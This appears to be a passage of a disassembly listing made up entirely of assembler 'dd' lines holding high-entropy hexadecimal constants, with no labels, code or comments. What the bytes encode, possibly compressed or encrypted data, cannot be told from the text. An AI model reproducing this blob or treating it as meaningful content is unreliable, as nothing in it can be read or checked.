9CA45527h, 59B84537h, 243B008Bh, 953BBC0Bh, 2207DEF8h dd 0A8A78425h, 0C9B8BA30h, 0E34F0059h, 0EBCFBC24h, 7100B328h dd 339E7EA1h, 0B2AF8Ch, 269207F2h, 49C9C396h, 28DF710Eh dd 1DF180F7h, 74D035h, 0EEB5230Dh, 609B109Eh, 0C8BE6201h dd 0C4BB5D72h, 74CCADCDh, 8F9F0336h, 504159B3h, 0ACFB2000h dd 1470C053h, 37C303BBh dd 0FACC549Eh, 772B94C0h, 0C7D86150h, 0DD881607h, 0B3D0BE65h dd 0ABD80Bh, 4EB4F46Bh, 0DACCBD11h, 0CB643400h, 0FFA88041h dd 0E7D98EAh, 7A525A16h, 2700158Fh, 0BF7C54A9h, 69720503h dd 0A16DBA47h, 20800A26h, 35541106h, 0D801A7F5h, 43146C34h dd 4181C880h, 4C0544F8h, 7FFF3AFh, 0C520BC13h, 7C5758BFh dd 0BA2F06ADh, 0B9E58E72h, 3A577500h, 2507F31Dh, 2A6C316Eh dd 80BA4A08h, 3A1F4E20h, 0FACD4169h, 0E5E8FC53h, 0B2BCA441h dd 77EC87D9h, 0FCF200B6h, 8044D2CAh, 0E660C6DFh, 7AC8DE60h dd 970500A4h, 0CEEB4AE0h, 0F40040ACh, 18685B03h, 0B2B4EAh dd 767823A8h, 538E54EBh, 4A7B2005h, 3FC04D2Ch, 8168FFh dd 0D8A1B6E2h, 6C6D9286h, 0F895BA03h, 97E774D1h, 0F2AC51E0h dd 893F00A8h, 7AB1A649h, 0A0007F8Ah, 5D1C65F4h, 0E384C5h dd 0EDA2D599h, 227DF297h, 0B400A07Dh, 0BB4434CCh, 39AAAD85h dd 0CB00F789h, 186CACE9h, 9B0E7024h, 8F317EF5h, 9C42E1AEh dd 0A8F35DD1h, 7D03F8F0h, 513F0774h, 8C4C6Dh, 0C2DBCF0Fh dd 8540FA00h, 0C477EB39h, 423F0EA1h, 0D701D364h, 604B53E3h dd 0D6008BA1h, 985C8701h, 72DE7Ch, 495644A5h, 9ECE6C9Dh dd 0B26B3Dh, 0BE8BDD5Dh, 749C59h, 0E984501Dh, 8DE790ECh dd 0EE9A4D01h, 179D405Eh, 1C6FDC70h, 40A07EC7h, 6EBA9632h dd 0A50398F5h, 887F8183h, 0FAAF03Ah, 90513E5Eh, 0E57CF080h dd 0F7CF5C2Dh, 0BDB1000h, 9546E676h, 9C490018h, 0EB5D2601h dd 840336D6h, 0E85EB875h, 0F6C6C886h, 578F062Ch, 9E15054Fh dd 317B8900h, 0BFBB1343h, 333F1D5Bh, 0F00F3E79h, 0CF40B57Dh dd 1FF2633Bh, 0D088D855h, 98513Eh, 6542B900h, 0DD3F85F4h dd 49F300C1h, 0EBFC6FBAh, 800E064h, 9E5324B6h, 0E929C2Bh dd 4D168569h, 97D9CB20h, 3500B35Dh, 89F295E6h, 88D33Bh dd 0C81F6B84h, 6AEF465Bh, 7B599160h, 3DCD5Dh, 0E8AE666Fh dd 31CBAAFEh, 0C5187000h, 14E933F5h, 0D7C800D2h, 0C4A8B7FBh dd 0DE684EAh, 0A904C67Ch, 0A45075E9h, 0F804FC0h, 71BB705Fh dd 0E6EC00DEh, 9536CA81h, 0E900B7AEh, 3B5EB349h, 425F6Fh dd 59188657h, 1EAB3684h, 4954E900h, 335A44Ah, 0D9F200AFh dd 2620E889h, 5D16697Eh, 0FB957Bh, 624CA463h, 0CF7CBEB1h dd 52D87250h, 0C9F608F6h, 0FFAD2C14h, 7BF0094h, 11DA37B1h dd 0C4F33949h, 209790A4h, 0A5DFCC0h, 8243480Dh, 976C8E88h dd 0FC055A1Ah, 0ED8078Ah, 4DE30FFh, 52009379h, 19BC571Fh dd 7F16D9h, 0F51A8F5Fh, 0BEC494A5h, 91598C0Fh, 39606099h dd 0E2EF5AD0h, 1D2C001Fh, 6DBCC4C0h, 0A81BCF77h, 0A28929A6h dd 416A3856h, 5EFD0103h, 871F14BFh, 756263B1h, 9C2060h dd 47AAAFE6h, 5C5AFA80h, 0EDB54E00h, 0B667D960h, 8B343C02h dd 9B8AB380h, 0CAFE01F8h, 6DAFF600h, 34BFBE9Ch, 81E218A3h dd 8455E89Ah, 0C97F8BF6h, 4BA210C3h, 5087E0D2h, 0F17B88h dd 0F9AF36A1h, 0B607C9D1h, 603AE024h, 12168900h, 0B2E328h dd 0BEA76097h, 2407AA53h, 0FB007275h, 0D1AB30D5h, 1343BFAh dd 372BD07Ch, 0DCECB3E6h, 66000222h, 5B64A943h, 0A35C01h dd 0D4381880h, 0E0ED78CDh, 9EAF9A00h, 723B6259h, 3AF11620h dd 4594001Fh, 39A433DFh, 0C5500707h, 6950A132h, 8E6634h dd 0D9524F4Dh, 0B094BB19h, 175ACB0Eh, 0F19F609Ah, 8372E0h dd 0C36B2440h, 0F31F3738h, 6A514Ch, 4E0D2D4Ch, 2EE95E0h dd 0C485D21Dh, 94E08C63h, 5E1434E6h, 0ECE420h, 82546C03h dd 28AA85E0h, 8C3C45h, 0A4730DD6h, 0F1F98D5Ch, 0F01E9900h dd 0AD9D2BB7h, 1071AEh, 479F3CA7h, 0B2F7F331h, 0FE1F2C7Eh dd 2441D31Ah, 76630AE7h, 0E53060h, 0E89BE3D1h, 92B70EE6h dd 0AED99A00h, 0DBF5648Bh, 6B430041h, 0CB849B30h, 4E30C285h dd 4E2883Dh, 8EA0082h, 22D46220h, 5100F446h, 54FB29EEh dd 3491317h, 12926159h, 10013083h, 51707426h, 2B0031FFh dd 15ECF1C8h, 129A9000h, 9CDF530Eh, 281B09BFh, 0F401D465h dd 0DCF8FFBEh, 8F000319h, 89C3F0D7h, 54AF9185h, 6A8C01h dd 0B903D605h, 8F1E3118h, 5A355803h, 0E0D049DCh, 24D15Eh dd 6556AEF7h, 84C3F637h, 9CCB403Ch, 92801C33h, 0F4F7503Bh dd 0A1420090h, 4E8D83ECh, 0F50067CFh, 34C3E52Fh, 366C5h dd 86927AD6h, 826CAA5Ah, 5DF24100h, 0C56FA89Dh, 7017761Dh dd 0DFE6002Eh, 0A613E4BAh, 69001B68h, 0AF22C9A1h, 3F193ABh dd 0AFB1AC5h, 90ECF56Dh, 3FAD44B4h, 83E4480Eh, 0C0E9A51Ch dd 6C5E6BC0h, 0EE0300FAh, 311B284Bh, 0ED00DC79h, 0C2463A11h dd 36D2938h, 0D271184Fh, 0A8006512h, 15044AB2h, 0DA4350Eh dd 73D984AEh, 7BAC22BCh, 0FBA0F80Eh, 27AD4E48h, 4910B5A7h dd 6159C2D2h, 0F573A6BAh, 7251D8D8h, 3A304C1Eh, 90AD3B80h dd 1335520Eh, 1F7341h, 0A1D7CB4h, 0F5003F8Fh, 0A2D75F13h dd 0C9F66Fh, 689F244Ah, 46ED73D2h, 32DF21Dh, 2C21EC44h dd 675C1C80h, 56C0F8Bh, 0F5C0740Fh, 5024536Bh, 9FC10900h dd 36259C98h, 8E3B09D7h, 1D80810Ah, 30E2B2B8h, 8B64D300h dd 0D56C311Ah, 0C6DE00E8h, 18777CAAh, 877628F1h, 0FBA2B70Eh dd 0F88D806Eh, 43CC09h, 81212CF7h, 0CE2023D6h, 537A3207h dd 0DCC076C4h, 1C92541Ch, 80F0030Bh, 0E3212DCFh, 873ADA23h dd 0A98C00A0h, 86F252AAh, 65C9862h, 2858FE5h, 0BC00A006h dd 0B3B09661h, 7521BE6Fh, 0F341CDAh, 0F7EC40FBh, 2C3E18CEh dd 3F013C77h, 0AD3D3BCDh, 4310CFEh, 2EC6A4DCh, 806071A8h dd 456B6074h, 1348AFEFh, 0E90E077Ch, 2040CEF6h, 0BAECE416h dd 26D00B00h, 0EC004B97h, 0DF944C5Eh, 0A7498302h, 0C8CC20BAh dd 3C9F4F10h, 950713FFh, 403E6DF7h, 3565DBD0h, 41560A00h dd 0EDB8BC52h, 92FB0003h, 0C64CC063h, 0F23AFC65h, 80873A55h dd 0ED75B615h, 69974Ah, 0C7742831h, 0E3C56644h, 0D978A318h dd 1D1E6E70h, 15FB495h, 0FF8FB535h, 0B6B1838Bh, 0D01D7874h dd 1A0F95F1h, 116B5609h, 91F96C63h, 0BA99E326h, 4760431Fh dd 498FD80Fh, 60BC88FBh, 6C14011Bh, 0DF7B000h, 0FC05C68Fh dd 0B8A80006h, 1B3BB4F9h, 8E0911FAh, 836EC81Dh, 0B0DF4A78h dd 1CF60A4h, 170290E2h, 6E21877Eh, 1D4492F0h, 81F074BCh dd 46A3DD8Ch, 26D67071h, 92CE0807h, 58B01D5Ah, 9631643h dd 7A19839Ch, 0F4A0C48Eh, 3C6C379Fh, 0A8D0A09Ah, 0ADA0BA04h dd 78077AA4h, 0F7F81EAAh, 5AA6A3C0h, 0E330A4Bh, 0ECC5FBh dd 0EC40CDEFh, 5F0EADA4h, 664F2EA5h, 422960AAh, 2A9E088Fh dd 846B1090h, 23445728h, 1F3144E2h, 2F0CD742h, 88B8F407h dd 6D88EE37h, 0A39129h, 0E725AA61h, 3EE174D3h, 8C8971C5h dd 4C8332CBh, 0CE904F39h, 0DD008283h, 0D2883A9Ah, 37E2A7h dd 171561DCh, 0C65973A2h, 0B600DCB8h, 3FEA4BC3h, 4ACCA842h dd 9EC405Eh, 0C264B94Ah, 0E00ECB8h, 0AB748C3Dh, 0FBCFBE92h dd 4D3A60h, 6E6F3F7Dh, 7AE2CE9Eh, 0F047EE00h, 0DDB3BEABh dd 619701FEh, 0B2F32B74h, 0C866DCA3h, 61901CB0h, 6C8D4B00h dd 12C2587Ah, 5B7803E2h, 203F0DAEh, 0F81467A8h, 9560D4A2h dd 8C006430h, 0FC858D84h, 25D99E29h, 7800D36Ah, 7724EA79h dd 0C9B85403h, 0F82AB666h, 5E5F1Bh, 0DE06212Fh, 138C0220h dd 53C99612h, 4432D400h, 89724Fh, 3F33DEAEh, 4CD105D9h dd 0E597A200h, 12164C5h dd 5CF9FED2h, 8900A8E2h, 5C46B413h, 3B01417Bh, 6848DBA7h dd 2080E453h, 5598D9DDh, 0F90261F6h, 9FD3E16Eh, 9BB480A7h dd 54CB1Bh, 6395791Eh, 3F827789h, 0A9C49300h, 0F11080C0h dd 0B0B94BC6h, 0E2393C56h, 0D2C5001Ah, 9F2D14FCh, 275C92CEh dd 4810D6B4h, 0AD501243h, 0D809E6BEh, 40ED80C2h, 28E44FC8h dd 8C5338h, 58FEEEBCh, 46EFDE6Ah, 0F4042801h, 0D2B07AA9h dd 3D65A440h, 0BD1C0BAAh, 7D008D40h, 0EFC75BAh, 886D4D00h dd 56A67B7Fh, 0FDC5033Ch, 0EABBCE57h, 522EF800h, 0A2DA50A9h dd 358C0096h, 0CB8F1084h, 0B0078EFh, 48215A0h, 0B02248FAh dd 4A3217D0h, 9E5C007Ch, 0CC9A81D6h, 584FBD00h, 83BF5027h dd 21553F22h, 535CBC80h, 514306ACh, 0B2C4CE0Eh, 0ADD5C005h dd 9A9CD6CAh, 32600CCh, 53C7E2E7h, 37135417h, 901DCEF2h dd 8BF683C0h, 0A2AE43h, 0AA6CC8EAh, 0E0BC5168h, 9BE2A100h dd 0BFF4BDC4h, 8F210031h, 0AB6C6299h, 0A4001E2Ah, 11893B36h dd 0B10D425h, 0FF1832C6h, 0AC2208h, 3D0ACF73h, 6CBABFDAh dd 1201F800h, 932D0717h, 26CC00ABh, 0E8BEA711h, 6B006ECDh dd 0EAA432BDh, 0A06FEEFAh, 0E2617Ch, 93726C81h, 59E65C62h dd 39FD5200h, 66F5A26Dh, 0F0497B11h, 8BB302AEh, 0ED3F896Bh dd 54E51840h, 6C84D050h, 5FF09E00h, 0AA70D9FBh, 0BC58000Ch dd 4715CBE6h, 5C00CE0Ah, 90491252h, 4CC7E423h, 213C3C77h dd 3D452F00h, 0DDC98293h, 8E69A500h, 0B9E364AFh, 45F0020h dd 82AD8ADh, 0DB0011EAh, 0A8A5DF0h, 3ED91054h, 3C482F5Ah dd 80241F00h, 0A601E1E5h, 23001890h, 0A8B6609Dh, 3A186FD2h dd 44A71E3Dh, 1A05885h, 0D6F99C88h, 3F2A7089h, 47C1A700h dd 7D8BD8E5h, 7BAB0E87h, 0D40F6D27h, 0D241C920h, 1036EBEh dd 53B48072h, 1390E7D0h, 0EA4BD3Eh, 0B05B55DDh, 89E88620h dd 0A148D5CDh, 986400A0h, 0F9B39F7Ah, 0DE850040h, 0AE294F43h dd 0CC005A19h, 0AFD61BEh, 1DB197B5h, 0C01BAD8Dh, 68DF207Dh dd 81009E3Ah, 0F682A76Ah, 0F54743h, 14039B33h, 0C5505D8Ah dd 6F1B9612h, 6280C21Dh, 4DC48830h, 0ACC00014h, 65B9AB6Ah dd 0BF904429h, 0A61138h, 6112BC8Ch, 6C1058h, 8B4BE9C0h dd 1FF8286Ah, 700FFF7Ch, 4FDD694Fh, 9E5E20B5h, 0FACE8D04h dd 1DF8ADh, 0E0DC7AEBh, 4954DD97h, 0BE7B2800h, 6743CB04h dd 1C8301A8h, 0A63D7A32h, 22880DAh, 73D27572h, 0C62103F5h dd 0CBB94FB5h, 8C10909Fh, 0BF009581h, 0F0A23E46h, 17AC5FCh dd 75C73D64h, 0F8771B12h, 9200E47Eh, 0B674ED9Dh, 0C5A701h dd 0CCDE8A2Dh, 65E9D77Ah, 8C0C7E00h, 0A223375Fh, 8D5D0168h dd 0C2A4882Eh, 50C3D07Bh, 0B29D9100h, 0EEE8EFBCh, 0EDFA001Ch dd 0D4CD60DBh, 0D87D379Ch, 0F6E47400h, 0E5A5F4E0h, 0AB352756h dd 8E002DD0h, 2F29B088h, 0F6D163h, 4DDCEC18h, 5E56060Eh dd 8920C81Eh, 0A02FCB00h, 0FA7ABE5Dh, 9D7B00C7h, 5758CD04h dd 7007DC5h, 497FEDFEh, 3E4E2771h, 629D6179h, 6C70802Bh dd 476BD55Ch, 72C90800h, 48F0119Dh, 0A7F23B1Ah, 14BD943Ch dd 18E42781h, 0F4BB1240h, 0A5507EEFh, 0A103B1B8h, 0A9F6E38Fh dd 0FC50B05Fh, 1C9A004Fh, 9126AC40h, 0DB091068h, 98E93Dh dd 666C6D28h, 763F05AEh, 8386FA9Bh, 95D0488Ch, 0F0A01CADh dd 7C0A747Eh, 0C5E08252h, 0CAA66900h, 98E34A90h, 31563E1Bh dd 39189300h, 49C74246h, 782D7B00h, 8E63C0EBh, 4E5B00A9h dd 0D1E44BB2h, 15003F45h, 11B7FF93h, 0C70F3Ch, 2FE6ECFBh dd 3441CBEh, 201DAEA1h, 8D00AF10h, 27BD04DEh, 4214310h dd 0AECDFD34h, 804FC5C9h, 4A307F01h, 43799000h, 2AE866C4h dd 6D8E0BC1h, 9500730Ch, 85C5B757h, 0FB3EA676h, 0AE7580B2h dd 0C82ABE3Ch, 51E0FCh, 0C4958D89h, 723679E1h, 22D35E00h dd 246C9118h, 3A3E005Bh, 407B2C58h, 0FA0FFD3Dh, 92F14h dd 4BF03F13h, 8E6F2801h, 69070088h, 23A61AE3h, 2F002BF5h dd 30583CDBh, 345B6Dh, 460AD47Fh, 0D270C7ABh, 24650C00h dd 80AF0D5Dh, 0FD0E01D3h, 0EFF9CABEh, 0FE508387h, 0A6953386h dd 0FC4DEC60h, 73EE08Fh, 67531CEBh, 4638609Bh, 0E8004599h dd 0ED039AD1h, 0F2D2AEh, 0F122B125h, 0A7100618h, 0F5F22EE4h dd 0E1005074h, 2621FDAh, 36A6C8h, 0E46C368h, 7C7DCEBBh dd 900F0B7Dh, 0C3B0C7FCh, 0DDC5B489h, 0B73C01ABh, 0C067CEDDh dd 65769E0Fh, 6057C300h, 381ADAE8h, 5409001Ch, 14896FBCh dd 5C0625D4h, 0C2993BEBh, 2E7600C8h, 9FA1E51Bh, 700F582h dd 26F57D1h, 504262BEh, 756C430h, 0C4117691h, 2A9D10E0h dd 0DA0110F0h, 8AC0227Ah, 0E8E486C5h, 18F73F2Fh, 0AB041CC8h dd 0D3DB2379h, 2CC8768Ch, 20076088h, 0A842ED33h, 0B1654020h dd 0D7453FA6h, 11B80D09h, 0BED1F402h, 9390E07Fh, 5068144Ch dd 0B700BC1Fh, 2CE72136h, 8D0107E8h, 0CF918CC8h, 84EC0C01h dd 39310029h, 0AC63558Fh, 8EF6DE79h, 0E6DC5000h, 8D842613h dd 48530E6Eh, 734240C2h, 0C4406267h, 0EC09299Eh, 0A05159C5h dd 0FA0CD1A4h, 0B9C900Ah, 12C11A6Ch, 0B3755700h, 0FE04FDFBh dd 0FC9872ECh, 0F4A63A80h, 66D900A3h, 6B07E49Eh, 1500910Ch dd 0B263EE6Eh, 0C930E1h, 0F98454F8h, 6DB57DB0h, 8900A690h dd 0FD37C649h, 18DF9E40h, 508C38FEh, 0C005729h, 53F58BE6h dd 0D12E86h, 75A79B15h, 0A1E7F9E5h, 5C2D5A00h, 31D38FC8h dd 8E49077Dh, 0E0E154EAh, 211106E7h, 6F00A872h, 3420A34Bh dd 0BE5083h, 0A0F13130h, 1099FFE9h, 69B04C00h, 0CA3D3CEAh dd 12E07A2h, 0C0B2517Ah, 0BE1524BAh, 8714470h, 0CB6A3Dh dd 770BECD5h, 1ED3C5Bh, 0A8CC8C72h, 7AEAA0E2h, 0B2E3F1C0h dd 846B0166h, 273FC02Dh, 74344013h, 37A2E1Eh, 0BE00F67Eh dd 89B89634h, 3B7E9A6h, 1F4C7854h, 119823BDh, 5500484Eh dd 0DB8A09CFh, 0A078BFC8h, 1F629DAEh, 0C0B50875h, 48F4E6A3h dd 0EF003227h, 0BC6E1310h, 842A87h, 223C35E1h, 144564E3h dd 568B9900h, 0B76BE0A9h, 37E50061h, 0D73E14Eh, 1E38346Eh dd 1C8806Fh, 252E1D53h, 85DB3EFAh, 6A24DC80h, 587D91Bh dd 4EC8330Eh, 9600F2EDh, 31EFC335h, 0CD7000BBh, 0E641708h dd 48ECA5A6h, 550820E1h, 42FBAE03h, 0B45D53BFh, 864591C0h dd 636200C0h, 0B1817E3Bh, 0F700FE29h, 0DEE45179h, 4FD2FAh dd 2B776746h, 0C1C21F1Eh, 9CA8300h, 68EC1902h, 9C86009Fh dd 0AFAD30A6h, 0DE3FCB34h, 811881B1h, 0BDE6FF5Ah, 7815B0FCh dd 30799Fh, 0E2C422DAh, 3A510B20h, 77539800h, 0A3F11556h dd 0E4840039h, 2BDE4D8Fh, 4107E819h, 0EAD76E31h, 0CC3C1A70h dd 128902Fh, 71F73540h, 0E0C3A0B6h, 9C04C961h, 0C6542762h dd 0A02F49C3h, 0E66ADAh, 0BE13B40h, 89C273B8h, 7839FF00h dd 0FB58D6F2h, 569B004Bh, 0CA192C06h, 2101A1B8h, 894C01E5h dd 8D20FC59h, 24001B6h, 1CFBCCD6h, 4400EFF8h, 0F30944BAh dd 3B688Fh, 52D80C7Dh, 2461F7B5h, 23003A7Ch, 6463F42h dd 3F086864h, 918BCD5Ch, 0E0806ABDh, 0F0C348A7h, 80DED63Ch dd 0A38EE9A2h, 52E3FCh, 8068373Fh, 0D1C173ABh, 2E00E274h dd 0D3A31329h, 0F4AA634Dh, 0AFE00B85h, 0DC80C3BFh, 0AB49DD16h dd 2055A000h, 5974E18Dh, 26CC2466h, 722F003Ch, 61C69D3Ch dd 291EDBF2h, 75C0426Dh, 0B3D42579h, 5E1F0022h, 0CBC66FF7h dd 0CC12567Bh, 8030BD0h dd 0B0E80198h, 0FB7646h, 0B99ED128h, 5B436DD3h, 42A4B50Fh dd 0BC7F218Bh, 98204127h, 100948C4h, 9B6ADF03h, 469BCFC9h dd 43A590C0h, 84F4F616h, 798CC110h, 0F320600h, 42989939h dd 0B15A58B1h, 3E0C1C26h, 24DFE780h, 0A82DA654h, 5134C700h dd 7AAC2537h, 5FBA0959h, 0CEDC5DBBh, 9CA7D601h, 6080F55Ch dd 2A0593A8h, 5200B403h, 60761CAAh, 14B7AFh, 0B89A8630h dd 0A6F21294h, 0B40D5C00h, 98506AD1h, 477AEDh, 0B905587Ah dd 9469EC8Eh, 0A0BED30Eh, 491D92C8h, 5D3E1F40h, 7FBBCAC9h dd 73AC0B09h, 55805FFAh, 949F6496h, 0C569EE00h, 4947CA65h dd 3B8B0761h, 0D0061D6Fh, 5EF8FBB9h, 524E8907h, 73B16402h dd 3FE85B28h, 0AF5A00DEh, 0A8F5C34Dh, 1D001588h, 0D17F6749h dd 453DC56h, 5500117h, 0FEA80BBh, 0FB003841h, 35569FAAh dd 3B5BDh, 97DC221Dh, 58A12668h, 12AB8407h, 0C442B620h dd 99480F7h, 7C577D30h, 876D00FCh, 9A5E9FADh, 0B401C0E5h dd 0A13CF23Eh, 8BE05B25h, 697F21h, 0F62566Ch, 33138675h dd 0B9003FFEh, 8F03AAE1h, 3F39A4AEh, 6C005D34h, 4B60C575h dd 2001334Dh, 2A107B1h, 0B07FE867h, 0B71D19A4h, 1500A855h dd 0F7189058h, 8274831h, 100B293Dh, 60004021h, 0EBA4074Eh dd 1304CD12h, 0EE811000h, 2652030h, 4267F6BFh, 3040A941h dd 0E800320Eh, 6B6E1ABEh, 0E6C31768h, 67EE40h, 0D804B565h dd 9E64C803h, 72E98600h, 95F8A135h, 7C0200E6h, 5F01BB0Fh dd 760052ACh, 0FC5E391Ah, 0E5BDD94h, 9D5DC686h, 67801C8Fh dd 0CC2A697Ah, 0FBFE7C00h, 0B46D0EACh, 0B5A0087h, 26923630h dd 700FE60Fh, 4B58CF51h, 8D9C0147h, 5BD899C3h, 48C61226h dd 4C6C042Bh, 284880A7h, 0C80C5FDh, 9AE44Dh, 0FC0332AEh dd 63157ACh, 800015EAh, 0AF7EEFB7h, 0E91E05Ah, 0AD9252B2h dd 4B9E5F60h, 6378FB10h, 469DA913h, 3CDFFB01h, 94504F5Eh dd 1ED71A7Bh, 5E05AB98h, 0BB37802Eh, 0B62AC86Bh, 0E0128E00h dd 206CD897h, 8C283C5Bh, 0FB8B0075h, 0FD10507h, 2008031h dd 7CE9FE86h, 0F5799FACh, 0F6C9D0h, 11357301h, 1824EABBh dd 0BC67270Eh, 5675605Dh, 3F5EBEF6h, 3C01913Bh, 0F93677FBh dd 311AE4ACh, 86F34500h, 4804008h, 0DD0B0285h, 9070F74Eh dd 0C468EC41h, 0AF005D7Dh, 5B2BC8ECh, 643D37h, 27B99440h dd 0A1C7BB8h, 22506302h, 0E04246F2h, 1225625Fh, 1D72F97h dd 4F8BA8D8h, 96F8E32Eh, 9800485Dh, 0A0EEBEFEh, 4EA50ADh dd 3E8AC452h, 7A80AB02h, 261A8028h, 3E1070CDh, 0CAA700FBh dd 76FADC8Bh, 169073DFh, 3B2BC500h, 25C77B31h, 0CE3D00A4h dd 0F73F740Dh, 6B0044A7h, 0EE343CDDh, 1BE2664Ch, 68470439h dd 737E14F0h, 0D397541Ch, 0D61B4B80h, 0AFBBDCh, 0C321FED1h dd 2B417B4Ch, 0A9A7E300h, 689D7A60h, 0E890FAh, 4A0A53A6h dd 0AF06CB74h, 3EA29014h, 0CFFA0697h, 3949B7F8h, 94CC6369h dd 26358B04h, 2F1481F4h, 1EE4700Ch, 925DFEC0h, 3C6C02h dd 8FF4A6F8h, 3D4FB2C5h, 0B4515B26h, 0B8ECED80h, 0CA80932h dd 9E219080h, 0C9062B18h, 0F3C79618h, 0B417811h, 0B8543BB9h dd 3F9C5E80h, 5D0073FFh, 1BAEF1B7h, 0C9B3680h, 5E4BBCAFh dd 69033060h, 0B2A837A9h, 7FE107C8h, 0A08108B4h, 6E79C034h dd 0BD488D00h, 56B0C477h, 60D478DDh, 2BA77024h, 0FD2C371Ah dd 0D3863C09h, 0F048813Dh, 0CD130135h, 0B2EA1DB0h, 976607Ch dd 7925EF07h, 41D059F9h, 36CA0D4h, 826D2E94h, 24E1FFB6h dd 92433089h, 3D493700h, 533A0183h, 0A2FD2C56h, 0F8073E03h dd 0EFB0FB6Dh, 6C185240h, 1300BA4Dh, 0BCA1DE51h, 0B5255Eh dd 16FAFF67h, 6D687F05h, 5C181E0Bh, 947403EEh, 0BF3AF074h dd 0C7E6FBh, 15481A4Bh, 0E2239F69h, 0E8EB4726h, 11560F03h dd 0A6E12BCDh, 73EFF004h, 14F8B754h, 50FF1725h, 5C4800A5h dd 99FEDCFAh, 40388A44h, 9B96805Ah, 0FF682345h, 8BF8E3h dd 0F05BA76Eh, 0DE8A41E4h, 37B32CA0h, 518C4331h, 0B70853ECh dd 0A1652BE8h, 0DEC25929h, 3EB88017h, 10A3D2h, 521BA4A0h dd 1D18EFE5h, 0F71FB1F8h, 61F2450Dh, 0F560A24Eh, 0C8510088h dd 19C0B4DEh, 0FD6D4092h, 0A3F72ADh, 151D6EA4h, 0E2704270h dd 0D52ABB00h, 0FD510077h, 0FB417A6Dh, 0CF309823h, 1B99E821h dd 3D7D0002h, 0B85CEDB4h, 0F144D2FAh, 16440A8Dh, 614CF552h dd 0E877207Dh, 881D82B6h, 17204BA1h, 10C953F4h, 0CD8194B7h dd 831CED62h, 86384FA9h, 6C380C1Dh, 92193A25h, 0DEB9840Ch dd 1CD439FDh, 0C365C94Ch, 7452E4C1h, 0B44C0940h, 5D00CEE2h dd 9D6C703Ch, 4F843EBh, 0C4904FEDh, 89FA0385h, 5F3102F7h dd 0D272DA75h, 9DD1F481h, 310EFCBDh, 0A4DE380Ah, 840E60B6h dd 3C6A83A7h, 291112BDh, 335D0020h, 8B8A8B9h, 30D5C93Ah dd 677F21F7h, 528A393Ah, 61668D00h, 5902F63Fh, 3D08A540h dd 40164C5Fh, 0D85C1F46h, 0BE1070EEh, 0CB8980h, 0C69FB1DCh dd 94A69067h, 635B590Dh, 90912817h, 3D93817Bh, 11713380h dd 2EE04812h, 0EC3DAF23h, 745885D8h, 9BF6420Eh, 80012D5h dd 3BF18856h, 8024F74Ch, 581000C9h, 0FC7C820h, 455C9616h dd 0AFC600C7h, 0BE6AFE4Eh, 87210052h, 3988612Fh, 0D20055B0h dd 0E4344607h, 20D703h, 1B3069BEh, 63F74B36h, 6FF8C0F8h dd 0D18C9600h, 5CD338Eh, 0DAA003Eh, 89CF490Fh, 9700AC30h dd 6DC996Bh, 7010AEA4h, 2C780091h, 0FA077B26h, 3C5C1F6Ah dd 35770763h, 80AB2009h, 691AC8EBh, 492D00BEh, 57A6566Dh dd 9203EAEEh, 14BF36C5h, 64183C48h, 31FAC80h, 0EFD749A4h dd 29ABA500h, 2D6723Ch, 4CE13DA9h, 4A502Eh, 5D805659h dd 0FB1E08BFh, 0B9008B69h, 72912FC4h, 4AA3185Ah, 77AF10DDh dd 8078D97Dh, 0EA28AAECh, 0A9020CC1h, 0CFDF4B3Ah, 0C14382h dd 79FC6719h, 4EDA7F7Ch, 95C38400h, 0DF5FE9E2h, 0B42F03D4h dd 7DF68ACDh, 0CAC270EFh, 200B83Dh, 9554FBC0h, 69D1EAh dd 84907FDh, 566EA727h, 0EBCE3C00h, 3D9C9934h, 80B000C0h dd 0D4835559h, 3C126554h, 9510EEA0h, 8C4394h, 7F885A09h dd 331E87h, 0CB366853h, 4FE6DB7Eh, 9D194838h, 1E3C07C4h dd 0C814AF7h, 0B664201Dh, 76C867DCh, 0CECB0099h, 15D77B19h dd 519F966h, 70280279h, 78448A08h, 0D9D645D7h, 0B04C1143h dd 0CA893C10h, 28417381h, 7994548Dh, 0F7191458h, 8CF5173h dd 29AE62AAh, 0B300B194h, 9B9773h, 0C90BB4E8h, 72B2C874h dd 58E900Fh, 0CE2840FAh, 48C779h, 8733F2D6h, 9B717657h dd 9AD39400h, 62C31067h, 0B219012Ch, 0B6E20F0Ch, 89802B1Ch dd 1F0343h, 45EFC7Eh, 37ACF5FAh, 27E9B300h, 0CF296270h dd 3B0903D5h, 891650B5h, 9C56909Fh, 7200E096h, 0A46C4859h dd 3C694D80h, 0CE039A7Ah, 0E9DE344Fh, 8F81CD3h, 273C61A1h dd 286D80F2h, 0F601EBCDh, 3CB10013h, 0A1D2B7C1h, 8B00FCE6h dd 0D57BB233h, 22426Ah, 0C6FD48DDh, 603754ECh, 4600F5ECh dd 8FF90EBEh, 585D3Eh, 9BC8BAEh, 47159963h, 0CFEAB7Ch dd 0A659F203h, 0C8C466E8h, 70D6E5h, 402D598h, 504ABF30h dd 0EA007579h, 0AEB28F6Eh, 0ED5B83Ch, 0CA037305h, 0B80A9E1h dd 0BD65C006h, 8B6A2500h, 75219DD7h, 0CD90084h, 1A5B6926h dd 0C9030F6Eh, 0AB46DFD1h, 5CCAE6BFh, 0FD00671Bh, 14966DA8h dd 0D10010A5h, 5F34CEDEh dd 0BCC38Ch, 8FE068EDh, 0B33E5B73h, 0F4161300h, 0BF843295h dd 304E00C1h, 5F5C632Bh, 3A0035D4h, 3697FE7Ah, 2F78D5h dd 9C5E55D7h, 0EAF7C581h, 564C9500h, 0CADD427Dh, 741E006Ah dd 5BD29A52h, 0F948762Bh, 45BA018Eh, 3059FA0h, 78BCCCh dd 6DBEBB65h, 0C4B6F3D1h, 3671287Eh, 3360F006h, 4A8CC5Ah dd 0B5B17678h, 0E0C70E80h, 0BDEC9CC6h, 4B8F0007h, 4DFC66DBh dd 16007FB6h, 7E2AA477h, 45FAEDh, 13C80286h, 0F9AB121Dh dd 549DA600h, 25B47FCCh, 375C0088h, 0BD0E81BFh, 79006AA2h dd 9FA4A82Dh, 0E434FB4h, 7B18C3EBh, 8F84F800h, 0DBA0E9A7h dd 20048C4h, 0CFB58CCCh, 29625D8h, 0BA1AAB2Eh, 0C8801104h dd 0F34FD221h, 2745B001h, 0F1F92374h, 3B132470h, 8800BFC2h dd 3C145666h, 0ED03EA52h, 22AD178Ch, 48FE9846h, 0A47D00D0h dd 0A7E8B8C0h, 3C0E9E2Eh, 10891Eh, 259DB377h, 543E09E9h dd 26805EA4h, 4F470CB5h, 0F737EB00h, 7850EAA9h, 1B760098h dd 9782DA56h, 7E010BF9h, 6A6033BBh, 4820FFCDh, 